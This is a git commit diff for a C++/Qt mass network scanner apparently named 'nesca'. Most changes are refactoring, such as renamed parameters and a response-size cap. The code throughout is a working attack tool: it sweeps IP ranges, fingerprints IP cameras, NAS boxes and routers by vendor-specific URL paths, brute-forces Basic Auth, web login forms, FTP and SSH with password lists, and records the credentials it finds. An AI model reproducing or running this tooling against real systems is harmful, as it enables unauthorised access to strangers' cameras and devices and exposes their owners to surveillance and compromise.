Conflicts:
	Connector.cpp
This commit is contained in:
cora32 2015-04-01 20:01:06 +03:00
commit cd2d41fb75
12 changed files with 285 additions and 233 deletions

View File

@ -104,9 +104,14 @@ int my_trace(CURL *handle, curl_infotype type,
return 0;
}
static size_t nWriteCallback(void *contents, size_t size, size_t nmemb, void *userp)
size_t nWriteCallback(void *contents, size_t size, size_t nmemb, void *userp)
{
((std::string*)userp)->append((char*)contents, size * nmemb);
Activity += nmemb;
int ssz = ((std::string*)userp)->size();
if(ssz > 180000) {
return -1;
}
return size * nmemb;
}
@ -116,10 +121,10 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
const std::string *lpString){
buffer->clear();
CURL *curl = curl_easy_init();
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 0L);
if (curl)
{
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 0L);
if (MapWidgetOpened) {
struct data config;
config.trace_ascii = 1; /* enable ascii tracing */
@ -187,7 +192,8 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
res != 55 &&
res != 56 &&
res != 35 &&
res != 19) {
res != 19 &&
res != 23) {
if (res == 5) {
stt->doEmitionRedFoundData("Couldn't resolve proxy. The given proxy host could not be resolved. ");
return -2;
@ -217,24 +223,29 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
else stt->doEmitionRedFoundData("CURL error: (" + QString::number(res) + ") " +
QString(ip) + ":" + QString::number(port));
}
++offlines;
if(res == 23 && buffer->size() > 0) {
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString("[OVERFLOW]"));
return buffer->size();
} else {
stt->doEmitionOffline(QString::number(++offlines));
return -1;
}
}
} else {
stt->doEmitionRedFoundData("Curl error.");
return -1;
};
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
Activity += buffer->size();
return buffer->size();
}
int Connector::_ConnectToPort(std::string ip, int port, char *hl)
int Connector::_ConnectToPort(char* ip, int port)
{
if(gPingNScan)
{
if(_pingMyTarget(ip.c_str()) == 0)
if(_pingMyTarget(ip) == 0)
{
return -2;
};
@ -243,8 +254,8 @@ int Connector::_ConnectToPort(std::string ip, int port, char *hl)
std::string buffer;
int size = 0;
if (port == 22) size = SSHAuth::SSHLobby(ip.c_str(), port, &buffer);
else size = nConnect(ip.c_str(), port, &buffer);
if (port == 22) size = SSHAuth::SSHLobby(ip, port, &buffer);
else size = nConnect(ip, port, &buffer);
if(size > 0)
{
@ -252,7 +263,7 @@ int Connector::_ConnectToPort(std::string ip, int port, char *hl)
++found;
stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found));
Lexems lx;
lx._filler(port, buffer.c_str(), (char*)ip.c_str(), size, &lx, hl);
lx._filler(port, buffer.c_str(), ip, size, &lx);
};
return 0;

View File

@ -17,6 +17,6 @@ public:
const char *postData = NULL,
const std::vector<std::string> *customHeaders = NULL,
const std::string *lpString = NULL);
static int _ConnectToPort(std::string ip, int port, char *hl);
static int _ConnectToPort(char *ip, int port);
};
#endif // CONNECTOR_H

51
FileDownloader.cpp Normal file
View File

@ -0,0 +1,51 @@
#include "FileDownloader.h"
#include "Connector.h"
#include "FileUpdater.h"
#include "istream"
int getCL(std::string *buffer) {
std::size_t pos1 = buffer->find("Content-Length:");
if(pos1 == std::string::npos) {
stt->doEmitionFoundData("<font color=\"Pink\">Cannot find Content-Length.</font>");
return -1;
}
int pos2 = buffer->find("\r\n", pos1);
if(pos2 == std::string::npos) {
stt->doEmitionFoundData("<font color=\"Pink\">Weird reply.</font>");
return -1;
}
std::string res = buffer->substr(pos1 + 15, pos2 - pos1 - 15);
return stoi(res);
}
void checkWeb(const char *fileName, long *ptr, void *func(void)) {
std::string buffer;
Connector::nConnect(std::string("localhost/nesca/" + std::string(fileName)).c_str(), 8080, &buffer);
std::cout<<buffer<<std::endl;
int cl = getCL(&buffer);
if(cl == -1) return;
if(cl != *ptr) {
std::ofstream out(fileName);
out << buffer.substr(buffer.find("\r\n\r\n") + 4);
out.close();
stt->doEmitionFoundData("<font color=\"Pink\">File " + QString(fileName) + " downloaded.</font>");
}
}
void loadNegatives(){
}
void FileDownloader::checkWebFiles() {
//checkWeb("negatives.txt", &FileUpdater::oldNegLstSize, (void*(*)(void))loadNegatives);
//checkWeb("login.txt", (void*(*)(void))loadLogins);
//checkWeb("pass.txt", (void*(*)(void))loadPass);
//checkWeb("sshpass.txt", (void*(*)(void))loadSSHPass);
//checkWeb("wflogin.txt", (void*(*)(void))loadWFLogins);
//checkWeb("wfpass.txt", (void*(*)(void))loadWFPass);
}

9
FileDownloader.h Normal file
View File

@ -0,0 +1,9 @@
#ifndef FILEDOWNLOADER_H
#define FILEDOWNLOADER_H
class FileDownloader {
public:
static void checkWebFiles();
};
#endif // FILEDOWNLOADER_H

View File

@ -10,6 +10,7 @@ void Threader::fireThread(std::string ip, void *func(void)) {
std::unique_lock<std::mutex> lk(m);
ipQueue.push(ip);
if(threadId < gThreads) {
++threadId;
std::thread workerThread(func);

View File

@ -21,7 +21,6 @@
extern QJsonArray *jsonArr;
extern unsigned long long gTargetsOverall;
extern char top_level_domain[128];
extern volatile int cons, BrutingThrds, gThreads;
extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst, **GlobalNegatives;
extern bool trackerOK, __savingBackUpFile, globalScanFlag, MapWidgetOpened,
@ -40,7 +39,7 @@ extern int found, indexIP, gMode,
extern unsigned int Activity;
extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[64],
trcPort[32], trcSrvPortLine[32], saveEndIP[128],
gRange[128], gFirstDom[128], gPorts[65536],
gRange[128], gTLD[128], gPorts[65536],
gProxyIP[64], gProxyPort[8],
currentIP[MAX_ADDR_LEN],
finalIP[32];

View File

@ -346,12 +346,12 @@ int sharedDetector(const char * ip, int port, const char *buffcpy) {
}
// 500 < 1600
int _mainFinderFirst(const char *buffcpy, int f, int port, const char *ip)
int _mainFinderFirst(const char *buffcpy, int f, int port, const char *ip, int sz)
{
int flag = sharedDetector(ip, port, buffcpy);
if(flag != -2) return flag;
if(f) return 7;
if(sz > 180000) return 2;
return 0;
}
@ -365,7 +365,7 @@ int _mainFinderSecond(const char *buffcpy, int port, const char *ip)
return 3; //Suspicious
}
int ContentFilter(const char *buff, int port, const char *ip, char *cp)
int ContentFilter(const char *buff, int port, const char *ip, char *cp, int sz)
{
if(buff != NULL)
{
@ -385,7 +385,6 @@ int ContentFilter(const char *buff, int port, const char *ip, char *cp)
#endif
};
int sz = tempString.size();
char *lBuff = new char[sz + 1];
ZeroMemory(lBuff, sz + 1);
strcpy(lBuff, tempString.c_str());
@ -393,11 +392,11 @@ int ContentFilter(const char *buff, int port, const char *ip, char *cp)
if(sz <= 500)
{
res = _mainFinderFirst(lBuff, 1, port, ip);
res = _mainFinderFirst(lBuff, 1, port, ip, sz);
}
else if((sz > 500 && sz <= 3500) || sz > 180000)
{
res = _mainFinderFirst(lBuff, 0, port, ip);
res = _mainFinderFirst(lBuff, 0, port, ip, sz);
}
else if(sz > 3500 && sz <= 180000)
{
@ -410,7 +409,7 @@ int ContentFilter(const char *buff, int port, const char *ip, char *cp)
else return -1;
}
void fillGlobalLogData(const char *ip, char *hostname, char *port, const char *sz, char *title,
void fillGlobalLogData(const char *ip, char *port, const char *sz, char *title,
const char *login, const char *pass, char *comment, char *cdpg, char *clss)
{
if(trackerOK == true)
@ -425,7 +424,7 @@ void fillGlobalLogData(const char *ip, char *hostname, char *port, const char *s
if(strlen(ip) > 0) jsonData.insert("ip_addr", QJsonValue(QString(ip)) );
else jsonData.insert("ip_addr", QJsonValue(QString("")) );
jsonData.insert("hostname", QJsonValue(QString(hostname)) );
jsonData.insert("hostname", QJsonValue(QString("")) );
}
else
{
@ -680,7 +679,7 @@ void fputsf(char *text, int flag, char *msg)
};
}
void putInFile(int flag, const char *ip, char *port, int recd, char *finalstr, char *hl, char *cp)
void putInFile(int flag, const char *ip, char *port, int size, char *finalstr, char *cp)
{
char log[4096] = {0}, msg[512] = {0};
@ -719,34 +718,34 @@ void putInFile(int flag, const char *ip, char *port, int recd, char *finalstr, c
stt->doEmitionFoundData(resMes);
sprintf(log, "<span id=\"hostSpan\"><a href=\"http://%s:%s\"/><font color=MediumSeaGreen>%s:%s</font></a>;</span> <span id=\"recvSpan\">Received: <font color=SteelBlue>%d</font>",
ip, port, ip, port, recd);
ip, port, ip, port, size);
if(flag == 666 || flag == 350)
{
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), finalstr, "", "", "", cp, "Strange error");
fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, "", "", "", cp, "Strange error");
++PieAnomC1;
++AnomC1;
}
else if(flag == 0 || flag == 15 || flag == -10)
{
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), finalstr, "", "", "", cp, "Anomaly");
fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, "", "", "", cp, "Anomaly");
++PieAnomC1;
++AnomC1;
}
else if(flag == 3)
{
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), finalstr, "", "", "", cp, "Suspicious");
fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, "", "", "", cp, "Suspicious");
++PieSusp;
++Susp;
}
else if(flag == 7)
{
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), finalstr, "", "", "", cp, "Low load");
fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, "", "", "", cp, "Low load");
++PieLowl;
}
else if(flag == 10)
{
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), finalstr, "", "", "", cp, "Login form");
fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, "", "", "", cp, "Login form");
++PieWF;
};
@ -994,7 +993,7 @@ void _getInputVal(std::vector<std::string> inputVec, char *buff, char *key)
};
}
void _specWFBrute(const char *ip, int port, char *hl, const char *buff, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *title)
void _specWFBrute(const char *ip, int port, const char *buff, int flag, char *path, char *comment, char *tclass, char *cp, int size, char *title)
{
if(strstr(buff, "VER_CODE") != NULL || strstri(buff, "captcha") != NULL)
{
@ -1075,15 +1074,15 @@ void _specWFBrute(const char *ip, int port, char *hl, const char *buff, int flag
else
{
if(gNegDebugMode) stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: No text/password fields found.");
///fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), title, "NULL", "NULL", comment, cp, tclass);
///putInFile(flag, ip, tport, recd, title, hl, cp);
///fillGlobalLogData(ip, tport, std::to_string(size).c_str(), title, "NULL", "NULL", comment, cp, tclass);
///putInFile(flag, ip, tport, size, title, cp);
};
}
else
{
stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: Cannot find form block.");
fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), title, "NULL", "NULL", comment, cp, tclass);
putInFile(flag, ip, tport, recd, title, hl, cp);
fillGlobalLogData(ip, tport, std::to_string(size).c_str(), title, "NULL", "NULL", comment, cp, tclass);
putInFile(flag, ip, tport, size, title, cp);
};
if(strlen(methodVal) == 0)
@ -1150,20 +1149,20 @@ void _specWFBrute(const char *ip, int port, char *hl, const char *buff, int flag
{
_specFillerWF(ip, tport, title, lps.login, lps.pass, flag);
fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), title, lps.login, lps.pass, comment, cp, tclass);
putInFile(flag, ip, tport, recd, title, hl, cp);
fillGlobalLogData(ip, tport, std::to_string(size).c_str(), title, lps.login, lps.pass, comment, cp, tclass);
putInFile(flag, ip, tport, size, title, cp);
};
}
else
{
if(gNegDebugMode) stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: Cannot find user/pass field.");
///fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), title, "", "", "UnknownWebform", cp, tclass);
///putInFile(flag, ip, tport, recd, title, hl, cp);
///fillGlobalLogData(ip, tport, std::to_string(size).c_str(), title, "", "", "UnknownWebform", cp, tclass);
///putInFile(flag, ip, tport, size, title, cp);
};
};
}
void _specWEBIPCAMBrute(const char *ip, int port, char *hl, char *finalstr, int flag, char *comment, char *cp, int recd, char *SPEC)
void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char *comment, char *cp, int size, char *SPEC)
{
lopaStr lps;
ZeroMemory(lps.login, sizeof(lps.login));
@ -1178,13 +1177,13 @@ void _specWEBIPCAMBrute(const char *ip, int port, char *hl, char *finalstr, int
{
_specFillerBA(ip, tport, finalstr, lps.login, lps.pass, flag);
fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
fillGlobalLogData(ip, tport, std::to_string(size).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
};
}
void _specBrute(const char *ip, int port,
char *hl, char *finalstr, int flag,
char *path, char *comment, char *cp, int recd)
char *finalstr, int flag,
char *path, char *comment, char *cp, int size)
{
char temp[64] = {0};
char tport[32] = {0};
@ -1196,7 +1195,7 @@ void _specBrute(const char *ip, int port,
{
_specFillerBA(ip, tport, finalstr, lps.login, lps.pass, flag);
fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
fillGlobalLogData(ip, tport, std::to_string(size).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
};
ZeroMemory(temp, sizeof(temp));
@ -1318,7 +1317,7 @@ const char *GetTitle(const char* str)
return finalstr;
}
void _saveSSH(const char *ip, int port, int recd, const char *buffcpy)
void _saveSSH(const char *ip, int port, int size, const char *buffcpy)
{
if(buffcpy != NULL)
{
@ -1349,7 +1348,7 @@ void _saveSSH(const char *ip, int port, int recd, const char *buffcpy)
const char *ptrl2 = strstr(buffcpy, "@");
lpsz = ptrl2 - ptrl1;
strncpy(passSSH, ptrl1 + 1, lpsz);
fillGlobalLogData(ip, "", portString, std::to_string(recd).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH");
fillGlobalLogData(ip, portString, std::to_string(size).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH");
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
}
else
@ -1363,20 +1362,20 @@ void _saveSSH(const char *ip, int port, int recd, const char *buffcpy)
};
}
int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, char *hl)
int Lexems::_filler(int p, const char* buffcpy, char* ip, int size, Lexems *lx)
{
if( strstr(buffcpy, "SSH-2.0-OpenSSH") != NULL ||
strstr(buffcpy, "SSH-2.0-mod_sftp") != NULL)
{
std::string sshBuff;
int res = SSHAuth::SSHLobby(ip, p, &sshBuff);
if(res != -1 && res != -2) _saveSSH(ip, p, recd, (char*)sshBuff.c_str());
if(res != -1 && res != -2) _saveSSH(ip, p, size, (char*)sshBuff.c_str());
return -1;
};
if(p == 22)
{
_saveSSH(ip, p, recd, buffcpy);
_saveSSH(ip, p, size, buffcpy);
return -1;
};
@ -1392,7 +1391,7 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
char cp[32] = {0};
strcpy(cp, GetCodePage(buffcpy));
flag = ContentFilter(buffcpy, p, ip, cp);
flag = ContentFilter(buffcpy, p, ip, cp, size);
if(flag == -1 ) return -1;
strcpy(ps.headr, GetTitle(buffcpy));
@ -1404,7 +1403,7 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
std::vector<std::string> redirStrLst;
if(flag == 0 || flag == 3 || flag == 7 )
{
int rh = _header(ip, p, buffcpy, lx, &ps, &redirStrLst);
int rh = _header(ip, p, buffcpy, lx, &ps, &redirStrLst, size);
strcpy(cp, ps.codepage);
if (rh == -1) {
return -1;
@ -1440,13 +1439,13 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
++PieBA;
sprintf(log, "[FTP]:<font color=\"#0f62e2\">%s:%s</font>; Received: %d<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> <font color=\"#43EC00\"><a href=\"http://%s\" style=\"color:#43EC00;\">[ROUTER]</a></font>%s",
ip, port, recd, lps.login, lps.pass, ip, lps.login, lps.pass, ip, ip, ps.headr);
ip, port, size, lps.login, lps.pass, ip, lps.login, lps.pass, ip, ip, ps.headr);
sprintf(logEmit, "[FTP]:<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> <font color=\"#43EC00\"><a href=\"http://%s/\" style=\"color:#43EC00;\">[ROUTER]</a></font>",
lps.login, lps.pass, ip, lps.login, lps.pass, ip, ip);
fputsf (log, flag, "FTP");
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), "[FTP service]", lps.login, lps.pass, "Router FTP detected.", cp, "FTP");
fillGlobalLogData(ip, port, std::to_string(size).c_str(), "[FTP service]", lps.login, lps.pass, "Router FTP detected.", cp, "FTP");
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
}
@ -1455,13 +1454,13 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
++PieBA;
sprintf(log, "[FTP]:<font color=\"#0f62e2\">%s:%s</font>; Received: %d<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a>%s",
ip, port, recd, lps.login, lps.pass, ip, lps.login, lps.pass, ip, ps.headr);
ip, port, size, lps.login, lps.pass, ip, lps.login, lps.pass, ip, ps.headr);
sprintf(logEmit, "[FTP]:<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> (F:%d)",
lps.login, lps.pass, ip, lps.login, lps.pass, ip, ps.directoryCount);
fputsf(log, flag, "FTP");
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), "[FTP service]", lps.login, lps.pass, "NULL", cp, "FTP");
fillGlobalLogData(ip, port, std::to_string(size).c_str(), "[FTP service]", lps.login, lps.pass, "NULL", cp, "FTP");
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
@ -1478,155 +1477,155 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
}
else if(flag == 21) //Eyeon
{
_specBrute(ip, p, hl, "Eyeon Camera", flag, "/user/index.htm", "Basic Authorization", cp, recd);
_specBrute(ip, p, "Eyeon Camera", flag, "/user/index.htm", "Basic Authorization", cp, size);
}
else if(flag == 22) //IP Camera control
{
_specBrute(ip, p, hl, "IP camera Control webpage", flag, "/main/cs_motion.asp", "Basic Authorization", cp, recd);
_specBrute(ip, p, "IP camera Control webpage", flag, "/main/cs_motion.asp", "Basic Authorization", cp, size);
}
else if(flag == 23) //Network Camera BB-SC384
{
_specBrute(ip, p, hl, "Network Camera BB-SC384", flag, "/live/index2.html", "Basic Authorization", cp, recd);
_specBrute(ip, p, "Network Camera BB-SC384", flag, "/live/index2.html", "Basic Authorization", cp, size);
}
else if(flag == 24) //Network Camera VB-M40
{
_specBrute(ip, p, hl, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, recd);
_specBrute(ip, p, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, size);
}
else if(flag == 25) //Panasonic WTFISTHISAreaOMGIDONTEVEN-camera
{
_specBrute(ip, 60002, hl, "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", flag, "/SnapshotJPEG", "Basic Authorization", cp, recd);
_specBrute(ip, 60002, "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", flag, "/SnapshotJPEG", "Basic Authorization", cp, size);
}
else if(flag == 26) //Sony Network Camera
{
_specBrute(ip, p, hl, "Sony Network Camera", flag, "/oneshotimage?", "Basic Authorization", cp, recd);
_specBrute(ip, p, "Sony Network Camera", flag, "/oneshotimage?", "Basic Authorization", cp, size);
}
else if(flag == 27) //UA Network Camera
{
_specBrute(ip, p, hl, "UA Network Camera", flag, "/webs.cgi?", "Basic Authorization", cp, recd);
_specBrute(ip, p, "UA Network Camera", flag, "/webs.cgi?", "Basic Authorization", cp, size);
}
else if(flag == 28) //Network Camera VB-M40
{
_specBrute(ip, p, hl, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, recd);
_specBrute(ip, p, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, size);
}
else if(flag == 29) //LG Smart IP Device
{
_specBrute(ip, p, hl, "LG Smart IP Device Camera", flag, "/digest.php", "Basic Authorization", cp, recd);
_specBrute(ip, p, "LG Smart IP Device Camera", flag, "/digest.php", "Basic Authorization", cp, size);
}
else if(flag == 30) //NAS
{
_specBrute(ip, p, hl, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "Basic Authorization", cp, recd);
_specBrute(ip, p, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "Basic Authorization", cp, size);
}
else if(flag == 31) //ip cam
{
_specBrute(ip, p, hl, "IP Camera", flag, "/check_user.cgi", "Basic Authorization", cp, recd);
_specBrute(ip, p, "IP Camera", flag, "/check_user.cgi", "Basic Authorization", cp, size);
}
else if(flag == 32) //IPC WEB ip cam
{
_specWEBIPCAMBrute(ip, p, hl, "[IPC] WEB IP Camera", flag, "WEB Authorization", cp, recd, "IPC");
_specWEBIPCAMBrute(ip, p, "[IPC] WEB IP Camera", flag, "WEB Authorization", cp, size, "IPC");
}
else if(flag == 33) //GEOvision ip cam
{
_specWEBIPCAMBrute(ip, p, hl, "[GEO] WEB IP Camera", flag, "WEB Authorization", cp, recd, "GEO");
_specWEBIPCAMBrute(ip, p, "[GEO] WEB IP Camera", flag, "WEB Authorization", cp, size, "GEO");
}
else if(flag == 34) //Hikvision ip cam
{
_specBrute(ip, p, hl, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "Basic Authorization", cp, recd);
_specBrute(ip, p, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "Basic Authorization", cp, size);
}
else if(flag == 35) //EasyCam
{
_specWEBIPCAMBrute(ip, p, hl, "[EasyCam] WEB IP Camera", flag, "WEB Authorization", cp, recd, "EasyCam");
_specWEBIPCAMBrute(ip, p, "[EasyCam] WEB IP Camera", flag, "WEB Authorization", cp, size, "EasyCam");
}
else if(flag == 36) //Panasonic Cam
{
_specBrute(ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, recd);
_specBrute(ip, p, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, size);
}
else if(flag == 37) //Panasonic Cam
{
_specBrute(ip, p, hl, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "Basic Authorization", cp, recd);
_specBrute(ip, p, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "Basic Authorization", cp, size);
}
else if(flag == 38) //Foscam
{
_specWEBIPCAMBrute(ip, p, hl, "[Foscam] IP Camera", flag, "Web Authorization", cp, recd, "Foscam");
_specWEBIPCAMBrute(ip, p, "[Foscam] IP Camera", flag, "Web Authorization", cp, size, "Foscam");
}
else if(flag == 39) //EagleEye
{
_specBrute(ip, p, hl, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "Basic Authorization", cp, recd);
_specBrute(ip, p, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "Basic Authorization", cp, size);
}
else if(flag == 40) //Network Camera VB-C??
{
_specBrute(ip, p, hl, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "Basic Authorization", cp, recd);
_specBrute(ip, p, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "Basic Authorization", cp, size);
}
else if(flag == 41) //AVIOSYS-camera
{
_specWEBIPCAMBrute(ip, p, hl, "[AVIOSYS] IP Camera", flag, "Web Authorization", cp, recd, "AVIOSYS");
_specWEBIPCAMBrute(ip, p, "[AVIOSYS] IP Camera", flag, "Web Authorization", cp, size, "AVIOSYS");
}
else if(flag == 42) //NW_camera
{
_specBrute(ip, p, hl, "[NW_camera] IP Camera", flag, "/cgi-bin/getuid?FILE=indexnw.html", "Basic Authorization", cp, recd);
_specBrute(ip, p, "[NW_camera] IP Camera", flag, "/cgi-bin/getuid?FILE=indexnw.html", "Basic Authorization", cp, size);
}
else if(flag == 43) //NW_camera
{
_specBrute(ip, p, hl, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "Basic Authorization", cp, recd);
_specBrute(ip, p, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "Basic Authorization", cp, size);
}
else if(flag == 44) //Hikvision ip cam 2
{
_specBrute(ip, p, hl, "[Hikvision] IP Camera 2", flag, "/ISAPI/Security/userCheck", "Basic Authorization", cp, recd);
_specBrute(ip, p, "[Hikvision] IP Camera 2", flag, "/ISAPI/Security/userCheck", "Basic Authorization", cp, size);
}
else if(flag == 45) //Panasonic ip cam
{
_specBrute(ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, recd);
_specBrute(ip, p, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, size);
}
else if(flag == 46) //Buffalo disk
{
_specWEBIPCAMBrute(ip, p, hl, "[Buffalo] Lan Disk", flag, "Web Authorization", cp, recd, "BUFFALO");
_specWEBIPCAMBrute(ip, p, "[Buffalo] Lan Disk", flag, "Web Authorization", cp, size, "BUFFALO");
}
else if(flag == 47) //Digital Video Server
{
_specWEBIPCAMBrute(ip, p, hl, "[DVS] Camera", flag, "Web Authorization", cp, recd, "DVS");
_specWEBIPCAMBrute(ip, p, "[DVS] Camera", flag, "Web Authorization", cp, size, "DVS");
}
else if(flag == 48) //ipCAM
{
_specWEBIPCAMBrute(ip, p, hl, "[ipCAM] Camera", flag, "Web Authorization", cp, recd, "IPCAM");
_specWEBIPCAMBrute(ip, p, "[ipCAM] Camera", flag, "Web Authorization", cp, size, "IPCAM");
}
else if (flag == 49) //IEORFOREFOX
{
_specWEBIPCAMBrute(ip, p, hl, "[IEORFOREFOX] Camera", flag, "Web Authorization", cp, recd, "IEORFOREFOX");
_specWEBIPCAMBrute(ip, p, "[IEORFOREFOX] Camera", flag, "Web Authorization", cp, size, "IEORFOREFOX");
}
else if (flag == 50) //IP Camera
{
_specBrute(ip, p, hl, "IP Camera", flag, "/app/multi/single.asp", "Basic Authorization", cp, recd);
_specBrute(ip, p, "IP Camera", flag, "/app/multi/single.asp", "Basic Authorization", cp, size);
}
else if(flag == 20) //AXIS Camera
{
_specBrute(ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, recd);
_specBrute(ip, p, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, size);
}
else if(flag == 19) //reecam cameras
{
_specBrute(ip, p, hl, "Reecam (network camera)", flag, "/videostream.cgi", "Basic Authorization", cp, recd);
_specBrute(ip, p, "Reecam (network camera)", flag, "/videostream.cgi", "Basic Authorization", cp, size);
}
else if(flag == 18) //linksys camera
{
_specBrute(ip, p, hl, "Linksys camera", flag, "/img/main.cgi", "Basic Authorization", cp, recd);
_specBrute(ip, p, "Linksys camera", flag, "/img/main.cgi", "Basic Authorization", cp, size);
}
else if(flag == 17) //Real-time IP Camera Monitoring System
{
_specBrute(ip, p, hl, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Basic Authorization", cp, recd);
_specBrute(ip, p, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Basic Authorization", cp, size);
}
else if(flag == 11)
{
_specBrute(ip, p, hl, "Netwave IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, recd);
_specBrute(ip, p, "Netwave IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, size);
}
else if(flag == 12)
{
_specBrute(ip, p, hl, "IP Camera", flag, "/view/view.shtml?videos=", "Basic Authorization", cp, recd);
_specBrute(ip, p, "IP Camera", flag, "/view/view.shtml?videos=", "Basic Authorization", cp, size);
}
else if(flag == 13)
{
_specBrute(ip, p, hl, "IP Camera", flag, "/eng/view/indexjava.html", "Basic Authorization", cp, recd);
_specBrute(ip, p, "IP Camera", flag, "/eng/view/indexjava.html", "Basic Authorization", cp, size);
}
else if(flag == 14)
{
_specBrute(ip, p, hl, "IP Camera", flag, "/rdr.cgi", "Basic Authorization", cp, recd);
_specBrute(ip, p, "IP Camera", flag, "/rdr.cgi", "Basic Authorization", cp, size);
}
else if(flag == 15) //For HFS
{
@ -1634,28 +1633,32 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
++AnomC1;
const lopaStr &lps = BA::BALobby((string(ip) + "/~login").c_str(), p);
sprintf(log, "[HFS]:<font color=\"#ff6600\">%s :: </font><a href=\"http://%s:%s/\"><span style=\"color: #a1a1a1;\">%s:%s</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">%s Pass: %s:%s</font>",
hl, ip, port, ip, port, finalstr, lps.login, lps.pass);
sprintf(log, "[HFS]:<a href=\"http://%s:%s/\"><span style=\"color: #a1a1a1;\">%s:%s</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">%s Pass: %s:%s</font>",
